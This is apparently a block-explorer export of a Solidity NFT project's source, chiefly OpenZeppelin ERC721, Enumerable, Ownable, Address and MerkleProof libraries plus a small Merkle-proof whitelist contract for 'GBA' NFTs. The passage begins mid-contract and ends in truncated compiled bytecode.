function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
/// @author Andrew Parker
/// @title GBA Whitelist NFT Contract
/// @notice Implementation of OpenZeppelin MerkleProof contract for GBA MiniStayPuft and Traps NFTs
contract GBAWhitelist{
bytes32 merkleRoot;
/// Constructor
/// @param _merkleRoot root of merkle tree
constructor(bytes32 _merkleRoot){
merkleRoot = _merkleRoot;
}
/// Is Whitelisted
/// @notice Is a given address whitelisted based on proof provided
/// @param proof Merkle proof
/// @param claimer address to check
/// @return Is whitelisted
function isWhitelisted(bytes32[] memory proof, address claimer) public view returns(bool){
bytes32 leaf = keccak256(abi.encodePacked(claimer));
return MerkleProof.verify(proof,merkleRoot,leaf);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
} | 0x608060405234801561001057600080fd5b50600436106101fb5760003560e01c8063715018a61161011a578063b8254da5116100ad578063cba888721161007c578063cba8887214610576578063e985e9c514610594578063ebdfd722146105c4578063f2fde38b146105e2578063f59195e7146105fe576101fb565b8063b8254da5146104f0578063b88d4fde1461050c578063c051e38a14610528578063c87b56dd14610546576101fb565b806395d89b41116100e957806395d89b411461048e578063a22cb465146104ac578063b44df72d146104c8578063b66a0e5d146104e6576101fb565b8063715018a6146104405780637af66cec1461044a5780638c874ebd146104665780638da5cb5b14610470576101fb565b806338e21cce1161019257806355cc51861161016157806355cc5186146103a65780635c474f9e146103c25780636352211e146103e057806370a0823114610410576101fb565b806338e21cce1461032057806342842e0e146103505780634f6ccce71461036c57806355367ba91461039c576101fb565b80631789e2d8116101ce5780631789e2d81461029a57806318160ddd146102b657806323b872dd146102d45780632f745c59146102f0576101fb565b806301ffc9a71461020057806306fdde0314610230578063081812fc1461024e578063095ea7b31461027e575b600080fd5b61021a600480360381019061021591906132ab565b61061a565b60405161022791906139cb565b60405180910390f35b61023861062c565b6040516102459190613a01565b60405180910390f35b61026860048036038101906102639190613369565b61